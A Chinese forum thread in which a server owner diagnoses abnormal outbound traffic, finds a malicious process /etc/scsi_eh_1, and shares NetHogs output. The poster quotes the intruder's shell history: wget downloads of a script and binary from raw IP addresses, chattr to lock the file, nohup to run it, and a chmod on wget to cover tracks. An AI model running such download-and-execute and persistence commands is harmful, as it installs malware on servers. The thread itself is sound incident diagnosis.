Linux 服务器有大量出站流量不低于 50M/s 有没有办法查到哪个进程在搞乱

Distributions

› Ubuntu

› Fedora

› CentOS

中文资源站

› 网易开源镜像站

This topic created in 4522 days ago, the information mentioned may be changed or developed.

用iftop可以看到是几个IP的7000跟7023端口在跑，但是netstat看不到这几个端口很是奇怪是不是被黑了

Supplement 1 · Jun 19, 2014

已证实被人黑了
1544 uname -a
1545 ifconfig
1546 wget http://114.80.119.132:29/ssh_auto_deny.sh
1547 wget http://122.224.32.32:51/scsi_eh_1
1548 chattr +i /etc/scsi_eh_1
1549 chattr +s /etc/scsi_eh_1
1550 chattr +a /etc/scsi_eh_1
1551 nohup /etc/scsi_eh_1 > /dev/null 2>&1 &
1552 chmod 0644 /usr/bin/wget
1553 get
1554 wgert
1555 wget
把scsi_eh_1这个删除掉就好了

端口

iftop

netstat

22 replies • 2014-06-24 21:20:32 +08:00

ultimate010

Jun 19, 2014

不科学，用root两个看到的应该匹配。

zhzhwcn

Jun 19, 2014

@ultimate010 所以来这里求帮助还有没有其它的办法看到进程查了一下IP都是福建那边的IP

molinxx

Jun 19, 2014 via iPhone

福建莆田的垃圾信息团队么？

rrfeng

Jun 19, 2014

lsof

zhzhwcn

Jun 19, 2014

NetHogs version 0.8.0

PID USER PROGRAM DEV SENT RECEIVED
3368 root /etc/scsi_eh_1 eth0 0.054 0.092 KB/sec
2903 root sshd: root@pts/0 eth0 0.147 0.047 KB/sec
3593 root sshd: root@pts/1 eth0 0.652 0.047 KB/sec
? root 106.186.27.187:80-49.65.129.69:62729 0.011 0.023 KB/sec
? root 106.186.27.187:10755-117.27.248.5:7000 0.205 0.000 KB/sec
? root 106.186.27.187:10754-117.27.248.5:7000 0.204 0.000 KB/sec
? root 106.186.27.187:10753-117.27.248.5:7000 0.204 0.000 KB/sec
? root 106.186.27.187:10752-117.27.248.5:7000 0.204 0.000 KB/sec
? root 106.186.27.187:10751-117.27.248.5:7000 0.203 0.000 KB/sec
? root 106.186.27.187:10750-117.27.248.5:7000 0.203 0.000 KB/sec
? root 106.186.27.187:10749-117.27.248.5:7000 0.202 0.000 KB/sec
? root 106.186.27.187:10748-117.27.248.5:7000 0.202 0.000 KB/sec
? root 106.186.27.187:10747-117.27.248.5:7000 0.202 0.000 KB/sec
? root 106.186.27.187:10746-117.27.248.5:7000 0.201 0.000 KB/sec
? root 106.186.27.187:10745-117.27.248.5:7000 0.201 0.000 KB/sec

这是NetHogs的输出 pid都是?不知道为什么
@molinxx
@rrfeng

zhzhwcn

Jun 19, 2014

看端口都是连续的难道是在扫描端口？